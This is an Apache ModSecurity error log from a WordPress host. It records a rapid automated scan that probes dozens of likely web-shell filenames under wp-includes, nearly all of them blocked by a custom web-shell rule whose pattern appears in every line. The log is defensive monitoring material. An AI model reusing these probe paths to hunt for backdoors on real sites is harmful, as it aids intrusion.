[Wed Apr 22 01:37:55.921301 2026] [:error] [pid 35322:tid 35358] [client 45.137.126.41:63757] [client 45.137.126.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aee186PoAfV40BTfVKzwJwAAAIE"]
[Wed Apr 22 01:38:01.094031 2026] [:error] [pid 53731:tid 53749] [client 45.137.126.32:23755] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "vetstars.com.au"] [uri "/images/stories/themes.php"] [unique_id "aee1-V2I9THUR-bRVGzWdQAAAg4"]
[Wed Apr 22 01:38:01.583211 2026] [:error] [pid 53731:tid 53756] [client 45.137.126.32:23755] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aee1-V2I9THUR-bRVGzWdgAAAhQ"]
[Wed Apr 22 01:38:06.506594 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.40:23425] [client 45.137.126.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aee1_oJW6fdXWO6agMF89gAAAAE"]
[Wed Apr 22 01:38:09.880339 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.40:23425] [client 45.137.126.40] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "157.55.39.57_3d3ac58d8463837308f32ae367c2da2fbbbe11de"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aee1_oJW6fdXWO6agMF89gAAAAE"]
[Wed Apr 22 01:38:10.860014 2026] [:error] [pid 54080:tid 54104] [client 45.137.126.24:50619] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aee2AozEbQHHxtmWbab98AAAAtY"]
[Wed Apr 22 01:38:20.792838 2026] [:error] [pid 53731:tid 53757] [client 45.137.126.23:37537] [client 45.137.126.23] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aee2DF2I9THUR-bRVGzWkgAAAhU"]
[Wed Apr 22 01:38:24.294349 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.42:54633] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aee2EDeHLhVUuu8cVXxT4wAAAFc"]
[Wed Apr 22 01:38:25.768336 2026] [:error] [pid 35321:tid 35388] [client 45.137.126.42:27983] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aee2ETeHLhVUuu8cVXxT6gAAAEQ"]
[Wed Apr 22 01:38:36.084019 2026] [:error] [pid 35320:tid 35333] [client 45.137.126.30:54781] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aee2HIJW6fdXWO6agMF9GAAAAAM"]
[Wed Apr 22 01:38:37.057163 2026] [:error] [pid 35320:tid 35349] [client 45.137.126.33:50087] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aee2HYJW6fdXWO6agMF9GQAAABM"]
[Wed Apr 22 01:38:40.013661 2026] [:error] [pid 53731:tid 53746] [client 45.137.126.5:59187] [client 45.137.126.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aee2IF2I9THUR-bRVGzWuAAAAgs"]
[Wed Apr 22 01:38:40.983072 2026] [:error] [pid 53731:tid 53755] [client 45.137.126.14:22351] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aee2IF2I9THUR-bRVGzWugAAAhM"]
[Wed Apr 22 01:38:42.955212 2026] [:error] [pid 54080:tid 54096] [client 45.137.126.7:49123] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aee2IozEbQHHxtmWbab-AwAAAs4"]
[Wed Apr 22 01:38:47.906547 2026] [:error] [pid 54080:tid 54091] [client 45.137.126.50:25573] [client 45.137.126.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aee2J4zEbQHHxtmWbab-CwAAAsk"]
[Wed Apr 22 01:38:48.884560 2026] [:error] [pid 53731:tid 53759] [client 45.137.126.4:54209] [client 45.137.126.4] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aee2KF2I9THUR-bRVGzWzgAAAhc"]
[Wed Apr 22 01:38:57.814869 2026] [:error] [pid 35321:tid 35408] [client 45.137.126.28:35425] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aee2MTeHLhVUuu8cVXxUEgAAAFg"]
[Wed Apr 22 01:39:01.488556 2026] [:error] [pid 53978:tid 53986] [client 45.137.126.43:64041] [client 45.137.126.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aee2NZ1ivsR4hcOSQbZ16wAAAoY"]
[Wed Apr 22 01:39:07.023231 2026] [:error] [pid 35320:tid 35345] [client 45.137.126.3:45509] [client 45.137.126.3] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aee2O4JW6fdXWO6agMF9QgAAAA8"]
[Wed Apr 22 01:39:08.002351 2026] [:error] [pid 35415:tid 35433] [client 45.137.126.28:25131] [client 45.137.126.28] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aee2PEiqDinI4_22zziOtgAAAMY"]
[Wed Apr 22 01:39:08.984320 2026] [:error] [pid 4823:tid 4865] [client 45.137.126.7:42013] [client 45.137.126.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aee2PPc8mke3PfHqsxEkWgAAAYw"]
[Wed Apr 22 01:39:13.945886 2026] [:error] [pid 35321:tid 35407] [client 45.137.126.36:49979] [client 45.137.126.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aee2QTeHLhVUuu8cVXxUOgAAAFc"]
[Wed Apr 22 01:39:17.613115 2026] [:error] [pid 35322:tid 35369] [client 45.137.126.31:42297] [client 45.137.126.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aee2RaPoAfV40BTfVKzwNAAAAIw"]
[Wed Apr 22 01:39:18.584958 2026] [:error] [pid 53731:tid 53748] [client 45.137.126.11:21789] [client 45.137.126.11] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aee2Rl2I9THUR-bRVGzXAgAAAg0"]
[Wed Apr 22 01:39:21.489344 2026] [:error] [pid 4823:tid 4877] [client 45.137.126.39:58367] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aee2Sfc8mke3PfHqsxEkYgAAAZg"]
[Wed Apr 22 01:39:22.459530 2026] [:error] [pid 53978:tid 53983] [client 45.137.126.30:56415] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aee2Sp1ivsR4hcOSQbZ17AAAAoM"]
[Wed Apr 22 01:39:27.376050 2026] [:error] [pid 35320:tid 35350] [client 45.137.126.34:60835] [client 45.137.126.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aee2T4JW6fdXWO6agMF9agAAABQ"]
[Wed Apr 22 01:39:30.349471 2026] [:error] [pid 53731:tid 53736] [client 45.137.126.24:61317] [client 45.137.126.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aee2Ul2I9THUR-bRVGzXKAAAAgE"]
[Wed Apr 22 01:39:31.473444 2026] [:error] [pid 54080:tid 54102] [client 45.137.126.8:47675] [client 45.137.126.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aee2U4zEbQHHxtmWbab-IAAAAtQ"]
[Wed Apr 22 01:39:32.453417 2026] [:error] [pid 4823:tid 4864] [client 45.137.126.30:41505] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aee2VPc8mke3PfHqsxEkZgAAAYs"]
[Wed Apr 22 01:39:35.874970 2026] [:error] [pid 4823:tid 4870] [client 45.137.126.30:27751] [client 45.137.126.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aee2V_c8mke3PfHqsxEkagAAAZE"]
[Wed Apr 22 01:39:40.889528 2026] [:error] [pid 54080:tid 54101] [client 45.137.126.9:50795] [client 45.137.126.9] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aee2XIzEbQHHxtmWbab-MQAAAtM"]
[Wed Apr 22 01:39:43.830634 2026] [:error] [pid 35321:tid 35389] [client 45.137.126.14:63617] [client 45.137.126.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aee2XzeHLhVUuu8cVXxUWQAAAEU"]
[Wed Apr 22 01:39:45.301473 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.33:56379] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aee2YYJW6fdXWO6agMF9fwAAAAE"]
[Wed Apr 22 01:39:55.369816 2026] [:error] [pid 53978:tid 53997] [client 45.137.126.18:35713] [client 45.137.126.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aee2a51ivsR4hcOSQbZ2BQAAApE"]
[Wed Apr 22 01:39:56.342976 2026] [:error] [pid 53731:tid 53753] [client 45.137.126.35:46979] [client 45.137.126.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aee2bF2I9THUR-bRVGzXSgAAAhE"]
[Wed Apr 22 01:40:00.101450 2026] [:error] [pid 53978:tid 53989] [client 164.90.143.116:59725] [client 164.90.143.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 164.90.143.116, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aee2cJ1ivsR4hcOSQbZ2CgAAAok"]
[Wed Apr 22 01:40:01.360517 2026] [:error] [pid 54080:tid 54092] [client 45.137.126.46:38647] [client 45.137.126.46] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aee2cYzEbQHHxtmWbab-RQAAAso"]
[Wed Apr 22 01:40:10.266301 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.32:49287] [client 45.137.126.32] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aee2eoJW6fdXWO6agMF9qQAAAAs"]
[Wed Apr 22 01:40:15.455380 2026] [:error] [pid 35320:tid 35339] [client 45.137.126.53:25469] [client 45.137.126.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aee2f4JW6fdXWO6agMF9rQAAAAk"]
[Wed Apr 22 01:40:19.315826 2026] [:error] [pid 35321:tid 35398] [client 45.137.126.45:64031] [client 45.137.126.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aee2gzeHLhVUuu8cVXxUdAAAAE4"]
[Wed Apr 22 01:40:22.321546 2026] [:error] [pid 35321:tid 35408] [client 45.137.126.16:58977] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aee2hjeHLhVUuu8cVXxUfgAAAFg"]
[Wed Apr 22 01:40:23.784619 2026] [:error] [pid 35320:tid 35338] [client 45.137.126.38:58599] [client 45.137.126.38] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aee2h4JW6fdXWO6agMF9uwAAAAg"]
[Wed Apr 22 01:40:32.768099 2026] [:error] [pid 53731:tid 53750] [client 45.137.126.20:43983] [client 45.137.126.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "aee2kF2I9THUR-bRVGzXogAAAg8"]
[Wed Apr 22 01:40:39.922273 2026] [:error] [pid 53731:tid 53737] [client 45.137.126.27:36175] [client 45.137.126.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/theme.php"] [unique_id "aee2l12I9THUR-bRVGzXqwAAAgI"]
[Wed Apr 22 01:40:40.901796 2026] [proxy_fcgi:error] [pid 35320:tid 35341] [client 45.137.126.51:37707] AH01071: Got error 'Primary script unknown'
[Wed Apr 22 01:40:41.386985 2026] [:error] [pid 35320:tid 35330] [client 45.137.126.51:37707] [client 45.137.126.51] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/shell.php"] [unique_id "aee2mYJW6fdXWO6agMF90gAAAAA"]
[Wed Apr 22 01:40:42.363574 2026] [:error] [pid 35320:tid 35334] [client 45.137.126.33:60709] [client 45.137.126.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/class-wp-customize-selective-refresh-library.php"] [unique_id "aee2moJW6fdXWO6agMF91gAAAAQ"]
[Wed Apr 22 01:40:47.290403 2026] [:error] [pid 35320:tid 35341] [client 45.137.126.42:44535] [client 45.137.126.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/library/wp-login.php"] [unique_id "aee2n4JW6fdXWO6agMF94gAAAAs"]
[Wed Apr 22 01:40:48.264146 2026] [:error] [pid 35320:tid 35331] [client 45.137.126.21:49949] [client 45.137.126.21] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/interactivity-api/about.php"] [unique_id "aee2oIJW6fdXWO6agMF96AAAAAE"]
[Wed Apr 22 01:40:59.581811 2026] [:error] [pid 53978:tid 54001] [client 45.137.126.39:47629] [client 45.137.126.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-2019.php"] [unique_id "aee2q51ivsR4hcOSQbZ2PAAAApU"]
[Wed Apr 22 01:41:00.564102 2026] [:error] [pid 4777:tid 4807] [client 45.137.126.52:54519] [client 45.137.126.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/info.php"] [unique_id "aee2rKxXur6bykKyLZTL0QAAARM"]
[Wed Apr 22 01:41:03.593056 2026] [:error] [pid 35322:tid 35375] [client 45.137.126.16:61313] [client 45.137.126.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/log.php"] [unique_id "aee2r6PoAfV40BTfVKzwRgAAAJI"]
